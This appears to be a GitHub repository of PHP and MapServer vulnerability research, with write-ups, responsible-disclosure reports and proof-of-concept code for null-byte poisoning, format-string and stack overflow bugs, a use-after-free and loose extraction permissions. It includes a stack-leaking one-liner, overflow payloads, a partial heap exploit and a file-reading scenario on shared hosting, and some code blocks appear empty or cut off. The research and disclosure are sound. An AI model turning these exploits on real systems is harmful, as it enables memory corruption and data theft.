├── .gitignore ├── images ├── 1.png └── bypassing_disabled_functions.png ├── 0x03 [CVE-2020-7067] OOB Read ├── res │ └── fix.png └── README.md ├── 0x01 [bug #79383] 777 Permissions ├── images │ ├── 1.png │ ├── 2.png │ ├── 3.png │ ├── 4.png │ └── 5.png └── README.md ├── 0x02 [CVE-2020-7066] Null-byte Poisoning ├── fix.png ├── vuln_1.png └── README.md ├── 0x06 [CVE-2018-12882] UAF exploitation ├── images │ ├── a_in_mem.png │ ├── b_in_mem.png │ ├── type_error.png │ ├── zval_struct.png │ ├── full-exploit.png │ └── spoofed_stream.png ├── PoC.php └── README.md ├── 0x07 [CVE-2016-3132] Double-free to RCE ├── res │ ├── doublefree.png │ ├── free_slots.png │ ├── efree_wrapper.png │ ├── rip_takeover.png │ ├── emalloc_wrapper.png │ ├── i_zval_ptr_dtor.png │ ├── refcounting_gc.png │ └── zend_mm_heap_struct.png ├── PoC.php └── README.md ├── 0x08 [bug #76047] Bypassing disable_functions ├── res │ ├── final_step.png │ ├── php_heap.png │ ├── write_diff.png │ ├── abc_addr_relative.png │ ├── properties_table.png │ ├── fake_obj_land_here.png │ ├── finding_zif_system.png │ ├── basic_functions_module.png │ ├── zend_closure_free_storage.png │ └── bypassing_disabled_functions.png ├── exploit.php └── README.md ├── 0x04-0x05 [MapServer-CVEs] ├── README.md ├── [CVE-2020-10873] FormatString_report.md └── [CVE-2020-10872] BufferOverflow_report.md ├── bugs(generic) └── intOverflow_shm.md └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | **/.DS_Store 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/images/1.png -------------------------------------------------------------------------------- /images/bypassing_disabled_functions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/images/bypassing_disabled_functions.png -------------------------------------------------------------------------------- /0x03 [CVE-2020-7067] OOB Read/res/fix.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x03 [CVE-2020-7067] OOB Read/res/fix.png -------------------------------------------------------------------------------- /0x01 [bug #79383] 777 Permissions/images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x01 [bug #79383] 777 Permissions/images/1.png -------------------------------------------------------------------------------- /0x01 [bug #79383] 777 Permissions/images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x01 [bug #79383] 777 Permissions/images/2.png -------------------------------------------------------------------------------- /0x01 [bug #79383] 777 Permissions/images/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x01 [bug #79383] 777 Permissions/images/3.png -------------------------------------------------------------------------------- /0x01 [bug #79383] 777 Permissions/images/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x01 [bug #79383] 777 Permissions/images/4.png -------------------------------------------------------------------------------- /0x01 [bug #79383] 777 Permissions/images/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x01 [bug #79383] 777 Permissions/images/5.png -------------------------------------------------------------------------------- /0x02 [CVE-2020-7066] Null-byte Poisoning/fix.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x02 [CVE-2020-7066] Null-byte Poisoning/fix.png -------------------------------------------------------------------------------- /0x02 [CVE-2020-7066] Null-byte Poisoning/vuln_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x02 [CVE-2020-7066] Null-byte Poisoning/vuln_1.png -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/images/a_in_mem.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x06 [CVE-2018-12882] UAF exploitation/images/a_in_mem.png -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/images/b_in_mem.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x06 [CVE-2018-12882] UAF exploitation/images/b_in_mem.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/doublefree.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/doublefree.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/free_slots.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/free_slots.png -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/images/type_error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x06 [CVE-2018-12882] UAF exploitation/images/type_error.png -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/images/zval_struct.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x06 [CVE-2018-12882] UAF exploitation/images/zval_struct.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/efree_wrapper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/efree_wrapper.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/rip_takeover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/rip_takeover.png -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/images/full-exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x06 [CVE-2018-12882] UAF exploitation/images/full-exploit.png -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/images/spoofed_stream.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x06 [CVE-2018-12882] UAF exploitation/images/spoofed_stream.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/emalloc_wrapper.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/emalloc_wrapper.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/i_zval_ptr_dtor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/i_zval_ptr_dtor.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/refcounting_gc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/refcounting_gc.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/final_step.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/final_step.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/php_heap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/php_heap.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/write_diff.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/write_diff.png -------------------------------------------------------------------------------- /0x07 [CVE-2016-3132] Double-free to RCE/res/zend_mm_heap_struct.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x07 [CVE-2016-3132] Double-free to RCE/res/zend_mm_heap_struct.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/abc_addr_relative.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/abc_addr_relative.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/properties_table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/properties_table.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/fake_obj_land_here.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/fake_obj_land_here.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/finding_zif_system.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/finding_zif_system.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/basic_functions_module.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/basic_functions_module.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/zend_closure_free_storage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/zend_closure_free_storage.png -------------------------------------------------------------------------------- /0x08 [bug #76047] Bypassing disable_functions/res/bypassing_disabled_functions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xbigshaq/php7-internals/HEAD/0x08 [bug #76047] Bypassing disable_functions/res/bypassing_disabled_functions.png -------------------------------------------------------------------------------- /0x04-0x05 [MapServer-CVEs]/README.md: -------------------------------------------------------------------------------- 1 | ## About MapServer 2 | 3 | https://github.com/mapserver/mapserver 4 | 5 | >MapServer is a system for developing web-based GIS applications. The basic system consists of a CGI program that can be configured to respond to a variety of spatial requests like making maps, scalebars, and point, area and feature queries. 6 | 7 | 8 | >MapServer was originally written by Stephen Lime. Major funding for development of MapServer has been provided by NASA through cooperative argreements with the University of Minnesota, Department of Forest Resources. 9 | PHP/MapScript developed by DM Solutions Group. 10 | 11 | 12 | ## PHP/MapScript Vulnerabillities :bug: 13 | As part of my PHP Internals research, I also learned about PHP **extensions**. I found a buffer overflow & format string vulnerabillities in a PHP extension called MapScript, which is part of the MapServer app. 14 | 15 | In this directory, you'll find two of the reports I sent privately to MapServer development team with PoCs. 16 | 17 | All of the findings were fixed and the project maintainers allowed me to disclose those reports after I sent a responsible, full disclosure request ( thanks Steve & Jeff :D ) 18 | -------------------------------------------------------------------------------- /0x02 [CVE-2020-7066] Null-byte Poisoning/README.md: -------------------------------------------------------------------------------- 1 | ## CVE-2020-7066 – Null byte Poisoning in PHP7 2 | 3 | When talking about Null-byte Poisoning in PHP, the most common scenario is file upload / file extension validation bypass (*CVE-2006-7243* and *CVE-2015-2348*). Those kinds of attacks are very rare because we left them in 2006-2015. However, there are other functions which are vulnerable to nullbyte poisoning and didn’t get enough attention / write-ups. The bug that I present here is relevant for all PHP versions as of March 2020. 4 | 5 | Let's take this example: The PHP code allows sending requests only to ``.example.com`` subdomains. 6 | ```php 7 | 17 | 18 | ``` 19 | 20 | Output: 21 | The request will be sent to http://localhost even though the validation in the ``if`` statement is correct. 22 | ``` 23 | Array 24 | ( 25 | [0] => HTTP/1.1 200 OK 26 | [1] => Date: Sun, 22 Mar 2020 21:19:03 GMT 27 | [2] => Server: Apache/2.4.7 (Unix) 28 | [3] => Spoofed-Info: isHere 29 | [4] => Connection: close 30 | [5] => Content-Type: text/html 31 | ) 32 | ``` 33 | 34 | ## Root cause 35 | This is the source code of ``get_headers()`` : 36 | 37 | ![screenshot1](./vuln_1.png) 38 | 39 | At line 672 the parameter is passed from the "php layer"(Zend engine) to the ``char *url`` pointer, and the length of the string is passed to ``size_t url_len`` 40 | 41 | At this point, the string length is **still** 29 bytes long(``http://localhost.example.com`` and not ``http://localhost``) 42 | 43 | If we debug this and set a breakpoint on ``zif_get_headers()`` we can see that we weren't able to fool Zend Engine. It knows the real length of the string, even with the null-byte injected in it: 44 | ``` 45 | (gdb) p url_len 46 | $2 = 29 47 | (gdb) x/29bc url 48 | 0xb787c100: 104 'h' 116 't' 116 't' 112 'p' 58 ':' 47 '/' 47 '/' 108 'l' 49 | 0xb787c108: 111 'o' 99 'c' 97 'a' 108 'l' 104 'h' 111 'o' 115 's' 116 't' 50 | 0xb787c110: 0 '\000' 46 '.' 101 'e' 120 'x' 97 'a' 109 'm' 112 'p' 108 'l' 51 | 0xb787c118: 101 'e' 46 '.' 99 'c' 111 'o' 109 'm' 52 | ``` 53 | 54 | So, if PHP knows that the length of the string is 29 and not 16, how does this magic work? 55 | 56 | If you look closely, at line 680 (in screenshot above) the ``url`` pointer is passed **but ``url_len`` is not**. 57 | When the execution reaches to ``php_stream_open_wrapper_ex()`` it doesn't know the length of the string so like any other typical C program, it will assume that the string ends in the first occurrence of a null byte. 58 | 59 | ## The Fix 60 | The git commit: 61 | https://github.com/php/php-src/commit/2bc92a0cf79e52e2096e45987468740d5bc748ed 62 | ![screenshot1](./fix.png) 63 | 64 | The PHP Development Team updated the parameter type to be a ``Z_PARAM_PATH`` (a macro that throws an error if there's a null-byte in the parameter) and not a ``Z_PARAM_STRING`` (which can represent strings with a null-byte in it) 65 | 66 | Output: 67 | ``` 68 | PHP Warning: get_headers() expects parameter 1 to be a valid path, string given in ... 69 | ``` 70 | 71 | 72 | >**Note:** The bug was originally reported by ``64796c6e69 at gmail dot com`` (here: https://bugs.php.net/bug.php?id=79329). I wrote this to share a more in-depth analysis. 73 | 74 | 75 | -------------------------------------------------------------------------------- /0x04-0x05 [MapServer-CVEs]/[CVE-2020-10873] FormatString_report.md: -------------------------------------------------------------------------------- 1 | >This is one of the reports that I sent privately to the MapServer Development Team in *Feb/28th/2020* The issues were patched: https://github.com/mapserver/mapserver/issues/6014 2 | 3 | # Double-call to vsprintf() when printing PHP errors leading to a Format String attack 4 | 5 | Double-call to ``vsprintf()`` when printing PHP errors leading to a Format String attack 6 | 7 | ## PoC 8 | ``` 9 | shaq@ubuntu:/tmp/phpfuzz$ php -r "ms_newmapobj('%p %p %p %p %p');" 10 | ``` 11 | will leak values from the stack. 12 | output: 13 | ``` 14 | PHP Fatal error: Uncaught exception 'MapScriptException' with message 15 | 'Failed to open map file "0x1 0x100 0xb32785f4 0xbfa70a44 (nil)", or map file error.' in Command line code:1 16 | Stack trace: 17 | #0 Command line code(1): ms_newMapObj('%p %p %p %p %p') 18 | #1 {main} 19 | thrown in Command line code on line 1 20 | ``` 21 | As can be seen above, the ``0x1 0x100 0xb32785f4 0xbfa70a44`` are the leaked values. 22 | 23 | >Note: The example here is using PHP Command Line but I tested and it has the same behaviour in web application. 24 | 25 | ## Root cause 26 | The issue is in ``mapscript_throw_mapserver_exception()``, this function takes a formatted string, passing it to ``vsprintf()`` and send the result as a parameter to ``mapscript_throw_exception()`` which **passes it to ``vsprintf()`` in the 2nd time**. And only then MapServer will print the error string. 27 | 28 | The following steps demonstrates a practical exploitation of it from a PHP code perspective( using the PHP function ``ms_newMapObj()``: 29 | 30 | 1. An invalid value ("``%p %p %p %p %p``") is supplied to the ``ms_newMapObj()`` PHP function. The value we supplied is not valid, hence, it throws a PHP MapScript error using our vulnerable function: 31 | 32 | (snippet from [mapserver/mapscript/php/php_mapscript.c](https://github.com/mapserver/mapserver/blob/368d71155fcddc7ba250cdad8821541f4d61619e/mapscript/php/php_mapscript.c)) 33 | ```c 34 | if (map == NULL) { 35 | mapscript_throw_mapserver_exception("Failed to open map file \"%s\", or map file error." TSRMLS_CC, filename); 36 | return; 37 | } 38 | ``` 39 | 2. The ``mapscript_throw_mapserver_exception()`` function takes the formatted string, pass it to ``vsprintf()`` and then pass the result to ``mapscript_throw_exception()`` 40 | 41 | (snippet from [mapserver/mapscript/php/mapscript_error.c](https://github.com/mapserver/mapserver/blob/368d71155fcddc7ba250cdad8821541f4d61619e/mapscript/php/mapscript_error.c)) 42 | 43 | ```c 44 | va_start(args, format); 45 | vsprintf(message, format, args); 46 | va_end(args); 47 | return mapscript_throw_exception(message TSRMLS_CC); 48 | ``` 49 | 50 | 3. ``mapscript_throw_exception()`` calls ``vsprintf()`` **again**, which evaluates our malicious ``%p`` input and allow us to leak pointers from the stack. 51 | 52 | (snippet from [mapserver/mapscript/php/mapscript_error.c](https://github.com/mapserver/mapserver/blob/368d71155fcddc7ba250cdad8821541f4d61619e/mapscript/php/mapscript_error.c)) 53 | ```c 54 | #if PHP_VERSION_ID >= 70000 55 | zend_object* mapscript_throw_exception(char *format TSRMLS_DC, ...) 56 | #else 57 | zval* mapscript_throw_exception(char *format TSRMLS_DC, ...) 58 | #endif 59 | { 60 | va_list args; 61 | char message[MAX_EXCEPTION_MSG]; 62 | va_start(args, format); 63 | vsprintf(message, format, args); 64 | va_end(args); 65 | return zend_throw_exception(mapscript_ce_mapscriptexception, message, 0 TSRMLS_CC); 66 | } 67 | ``` 68 | 69 | 4. profit :) 70 | 71 | -------------------------------------------------------------------------------- /0x01 [bug #79383] 777 Permissions/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Digging into ``ZipArchive::extractTo()`` 3 | In this post, I will show something that I found in PHP’s source code and affects all versions of PHP. 4 | During my PHP Internals research, I reviewed the code of ``ZipArchive::extractTo()``, which is responsible for extracting a zip file(opened using ``ZipArchive::open()``) and found an interesting thing. 5 | 6 | ## Description 7 | Let’s take this example PHP script: 8 | ```php 9 | open('test.zip') === TRUE) { 12 | $zip->extractTo('/tmp/phpfuzz/outdir/'); 13 | $zip->close(); 14 | echo 'ok'; 15 | } else { 16 | echo 'failed'; 17 | } 18 | ?> 19 | ``` 20 | This script will extract the contents of ``test.zip`` into a directory called “outdir”. 21 | 22 | The issue here is that, by default, PHP will create ``outdir/*`` to be with hard-coded 777 permissions: 23 | 24 | https://github.com/php/php-src/blob/5fa17fbf94fa95705922313ac0d19e38ddabbad9/ext/zip/php_zip.c#L2781 25 | 26 | ![screenshot1](./images/1.png) 27 | 28 | This is the directory tree after un-zipping the file: 29 | 30 | ![screenshot1](./images/2.png) 31 | 32 | Everything is readable to the public usergroup. And it's recursive (sub-directories are affected as well). 33 | 34 | >**Note**: In other systems it can be a "full 777 permission"(like ``rwxrwxrwx``) but on my system it's not due to my *umask* setting (I kept the default setting so you can see a real-life scenario). 35 | 36 | ## Impact / Threat 37 | 38 | This affects mostly applications on shared hosting environments. 39 | 40 | On a shared hosting environment, all websites/applications are stored on the same server and each website has its own Linux user & group (this is not correct for all shared hosting providers, but this is the common design that most of the shared-hosting providers prefer to stick with). 41 | 42 | ![screenshot1](./images/3.png) 43 | 44 | Making the extracted files & directories readable by the “public” usergroup (in the screenshot above, called “Other”) allows other applications hosted on the same Linux server to read the extracted zip content. This can be easily done using symlinking technique (more about symlinks: https://www.cybrary.it/blog/2019/07/symlink-attacks/) 45 | 46 | **Example scenario**: 47 | 1. A PHP application has a feature that's triggering a call to the ``extractTo()`` method. This can happen during plugin installation or any other reason for unpacking zip files. 48 | 49 | The files will be extracted to: ``/home/victim/public_html/extracted_here/`` 50 | 51 | 2. All of the extracted files (which might contain sensitive info such as configurations) are readable to all users on the server. All of the directories are readable too and can be listed by a malicious user on the server. 52 | 53 | 3. In order to disclose those extracted files, the attacker buys a basic hosting plan on the same shared-hosting of the target application (or alternatively, take over another vulnerable website that is stored there) 54 | 55 | The attacker’s home directory: ``/home/appsec/public_html/`` 56 | 57 | 4. When the attacker will try to access the victim’s files, he will try the following: 58 | ``` 59 | appsec@server:$ ls /home/victim/public_html/ 60 | ``` 61 | This attempt will (most likely) not work because the server is configured properly and the only bypass will be at the OS level. 62 | 63 | **However**, if there's a directory/file which is created by ``ZipArchive::extractTo``, it will be readable for everyone on the server. 64 | 65 | The attacker runs again the command, but this time he runs the command on a directory created by the ``extractTo`` method: 66 | ``` 67 | appsec@server:$ ls /home/victim/public_html/extracted_here/ 68 | ``` 69 | And everything will be listed. The attacker can also run ``cat`` on the files and expose the contents of the files. 70 | 71 | A more elegant (and common) way to traverse between the extracted directories that are exposed will be by using a symlink technique. 72 | 73 | ## Reporting to PHP 74 | I reported this to PHP (bug *#79383* in PHP’s bug tracker) and they said that this is an expected behavior. However, they found out that it is **not documented anywhere.** 75 | 76 | ![screenshot1](./images/4.png) 77 | 78 | As such, they agreed to add a warning (see below) saying that you should use ``umask()`` to prevent from any unnecessary info leakage: 79 | Commit: https://github.com/php/doc-en/commit/c870cfa314d880326cf30cd34b560c94f9526954 80 | 81 | 82 | ![screenshot1](./images/5.png) 83 | 84 | 85 | -------------------------------------------------------------------------------- /bugs(generic)/intOverflow_shm.md: -------------------------------------------------------------------------------- 1 | >This bug has a very low impact / not trivial at all. But it was fun detecting it and reporting it to PHP because it was one of my first bugs ever :D 2 | > 3 | >original report(bug #79427): https://bugs.php.net/bug.php?id=79427 4 | 5 | ## Integer overflow in shmop_open() 6 | When running the following PHP code: 7 | ```php 8 | $shm_id = shmop_open(1337, "c", 0644, 100 ); 9 | ``` 10 | It creates an entry in the operating system's SHM with 100 bytes in it and an ID of 1337. But if this ID is already taken so it opens the existing one and the ``size`` changes from ``100`` to the original SHM size. If the SHM size is bigger than ``INT_MAX``, an integer overflow occurs. 11 | 12 | ## Analysis 13 | 14 | * 1st+2nd commands: showing the ``shm`` structure in memory. 15 | 16 | * 3rd+4th command: demonstrating the differences in the types (``shm->shm_segsz`` is actually ``size_t`` but gdb makes it easier by following the typedef of ``size_t``, which is ``unsigned int``) 17 | ``` 18 | (gdb) ptype shm 19 | type = struct shmid_ds { 20 | struct ipc_perm shm_perm; 21 | size_t shm_segsz; 22 | __time_t shm_atime; 23 | long unsigned int __glibc_reserved1; 24 | __time_t shm_dtime; 25 | long unsigned int __glibc_reserved2; 26 | __time_t shm_ctime; 27 | long unsigned int __glibc_reserved3; 28 | __pid_t shm_cpid; 29 | __pid_t shm_lpid; 30 | shmatt_t shm_nattch; 31 | __syscall_ulong_t __glibc_reserved4; 32 | __syscall_ulong_t __glibc_reserved5; 33 | } 34 | (gdb) p shm 35 | $1 = {shm_perm = {__key = 1337, uid = 1000, gid = 1000, cuid = 1000, cgid = 1000, mode = 420, __pad1 = 0, __seq = 9, __pad2 = 0, __glibc_reserved1 = 0, __glibc_reserved2 = 0}, 36 | shm_segsz = 2147483652, shm_atime = 1585396834, __glibc_reserved1 = 0, shm_dtime = 1585398415, __glibc_reserved2 = 0, shm_ctime = 1585396778, __glibc_reserved3 = 0, shm_cpid = 12884, 37 | shm_lpid = 12897, shm_nattch = 0, __glibc_reserved4 = 0, __glibc_reserved5 = 0} 38 | 39 | (gdb) ptype shm->shm_segsz 40 | type = unsigned int 41 | (gdb) ptype shmop->size 42 | type = int 43 | ``` 44 | right now, the size is what we init in the PHP code(100) 45 | but the value that the operating system returned is ``INT_MAX+5`` 46 | ``` 47 | (gdb) p shmop->size 48 | $2 = 100 49 | (gdb) p shm.shm_segsz 50 | $3 = 2147483652 51 | ``` 52 | stepping to the next operation (``shmop->size = shm.shm_segsz; ``): 53 | ``` 54 | (gdb) next 55 | (gdb) p shmop->size 56 | $4 = -2147483644 57 | ``` 58 | an integer overflow occur. 59 | 60 | It happens when ``kernel.shmmax``(Linux kernel parameter/setting) is greater than INT_MAX. Because of this, other functions like ``shmop_read`` can not be called because the structure is malformed with a negative number. This prevents PHP from accessing the OS's shared memory to get data. 61 | 62 | ## Steps to re-produce 63 | so in order to re-produce this bug in linux systems, you'll have to run: 64 | ``` 65 | $ sysctl -w kernel.shmmax=2147483652 66 | ``` 67 | 68 | And create an SHM segment with a size bigger than INT_MAX: 69 | ```c 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | #include 77 | 78 | #define SHM_SIZE 2147483652 /* INT_MAX+5 */ 79 | 80 | int main(int argc, char *argv[]) 81 | { 82 | int shmid; 83 | key_t key; 84 | char *shm; 85 | char *s; 86 | 87 | key = 1337; 88 | 89 | shmid = shmget(key, SHM_SIZE, IPC_CREAT | 0644); 90 | if(shmid < 0) 91 | { 92 | printf("error getting SHM id\n\n"); 93 | puts(strerror(errno)); 94 | exit(1); 95 | } 96 | 97 | shm = shmat(shmid, NULL, 0); 98 | strcpy((char *)shm, "AAAAAAAAAAAAAAAAAAAA"); //example buffer 99 | 100 | return 0; 101 | } 102 | ``` 103 | run the above, and then to make sure the SHM entry was created, run: 104 | ``` 105 | shaq@ubuntu:~/Desktop/shm-php$ ipcs -m 106 | 107 | ------ Shared Memory Segments -------- 108 | key shmid owner perms bytes nattch status 109 | 0x00000539 327683 shaq 644 2147483652 0 110 | ``` 111 | and then run the test script (provided below) 112 | 113 | ```php 114 | 120 | ``` 121 | 122 | Expected result: 123 | ``` 124 | opened SHM handle... 125 | Success 126 | ``` 127 | Actual result: 128 | ``` 129 | opened SHM handle... 130 | PHP Warning: shmop_write(): offset out of range in /home/shaq/Desktop/shm-php/poc.php on line 4 131 | Failed 132 | ``` -------------------------------------------------------------------------------- /0x06 [CVE-2018-12882] UAF exploitation/PoC.php: -------------------------------------------------------------------------------- 1 | infile); // <----- this is where the memory pointed by $r is free'd 55 | // 4328 return FALSE; 56 | // 4329 } 57 | ------------------------------------------------------------ 58 | 59 | 60 | At this point, $r->value->res points to a free'd memory chunk(or, in UAF terms: it's a "dangling pointer") 61 | The next thing we will do is to "catch" this free memory chunk with a 62 | different/new allocation: 63 | */ 64 | $s = str_repeat($newAddr, 1); // allocating a new zend_string on the heap, this will 65 | // make the address of $s to be the same as where $r points to 66 | // Q: "Why did you choose zend_string?" 67 | // A: Because we're trying to implement a first-fit technique and 68 | // those structures have a very similar size, hence, they will land 69 | // on the same bin: 70 | // gdb-peda$ call sizeof(zend_resource) 71 | // 20 72 | // gdb-peda$ call sizeof(zend_string) 73 | // 20 74 | 75 | 76 | /* 77 | Because those two structures have a similar layout in memory, and the "ptr" property(from zend_resource) 78 | share the same offset as "val" property (from zend_string) containing our malicious string, it means that 79 | the string inside $s lands exactly on the "ptr" property! 80 | 81 | This is how the two variables look like now (internally): 82 | 83 | gdb-peda$ print (zend_string)*0xb5a01408 84 | $4 = { 85 | gc = { 86 | refcount = 1, 87 | u = { 88 | v = { 89 | type = 6 '\006', 90 | flags = 0 '\000', 91 | gc_info = 0 92 | }, 93 | type_info = 6 94 | } 95 | }, 96 | h = 0, 97 | len = 3, 98 | val = "AAA" <---- our allocated string 99 | } 100 | ``` 101 | 102 | And this is how PHP sees ``$r``: 103 | ``` 104 | gdb-peda$ print (zend_resource)*0xb5a01408 <---- same address, different struct representation 105 | $5 = { 106 | gc = { 107 | refcount = 1, 108 | u = { 109 | v = { 110 | type = 6 '\006', 111 | flags = 0 '\000', 112 | gc_info = 0 113 | }, 114 | type_info = 6 115 | } 116 | }, 117 | handle = 0, 118 | type = 3, 119 | ptr = 0x414141 <------ what?? 120 | } 121 | 122 | */ 123 | } 124 | 125 | echo "\n"; 126 | ?> -------------------------------------------------------------------------------- /0x04-0x05 [MapServer-CVEs]/[CVE-2020-10872] BufferOverflow_report.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | >This is one of the reports that I sent privately to the MapServer Development Team in *Feb/28th/2020* The issues were patched: https://github.com/mapserver/mapserver/issues/6014 4 | 5 | # Stack-Based Buffer Overflow in mapscript_throw_mapserver_exception() 6 | 7 | Spotted a stack-based Buffer Overflow when throwing PHP error messages using ``mapscript_throw_mapserver_exception()``. 8 | 9 | ## PoC 10 | from [mapserver/mapscript/php/mapscript_error.c](https://github.com/mapserver/mapserver/blob/368d71155fcddc7ba250cdad8821541f4d61619e/mapscript/php/mapscript_error.c) 11 | ```c 12 | #if PHP_VERSION_ID >= 70000 13 | zend_object* mapscript_throw_mapserver_exception(char *format TSRMLS_DC, ...) 14 | #else 15 | zval* mapscript_throw_mapserver_exception(char *format TSRMLS_DC, ...) 16 | #endif 17 | { 18 | va_list args; 19 | char message[MAX_EXCEPTION_MSG]; 20 | /*...more code..*/ 21 | va_start(args, format); 22 | vsprintf(message, format, args); 23 | va_end(args); 24 | ``` 25 | 26 | There is no size check on the ``format`` char array before copying it into ``message``. 27 | This means that if the ``format`` string is bigger than ``MAX_EXCEPTION_MSG`` (=256 bytes) a classic stack-based buffer overflow will occur. 28 | 29 | Example: 30 | ```c 31 | char payload[999]; 32 | memset(payload,'A',998); 33 | mapscript_throw_mapserver_exception(payload); 34 | ``` 35 | will cause a crash 36 | 37 | ## Attack Scenario 38 | So our entry point is the error string parameter in ``mapscript_throw_mapserver_exception()`` 39 | 40 | We need to find a MapScript php function that prints a dynamic error (without a fixed length). 41 | I found ``ms_tokenizemap()`` to be a good candidate for a PoC: 42 | 43 | When calling the PHP function ``ms_tokenizemap($filename)`` without a non-existing filename it throws the following error: 44 | 45 | 46 | (snippet from [mapserver/mapscript/php/php_mapscript.c](https://github.com/mapserver/mapserver/blob/368d71155fcddc7ba250cdad8821541f4d61619e/mapscript/php/php_mapscript.c)) 47 | ```c 48 | mapscript_throw_mapserver_exception("Failed tokenizing map file %s" TSRMLS_CC, filename); 49 | ``` 50 | PHP Output: 51 | ``` 52 | PHP Fatal error: Uncaught exception ... 'Failed tokenizing map file ' in ... 53 | ``` 54 | The 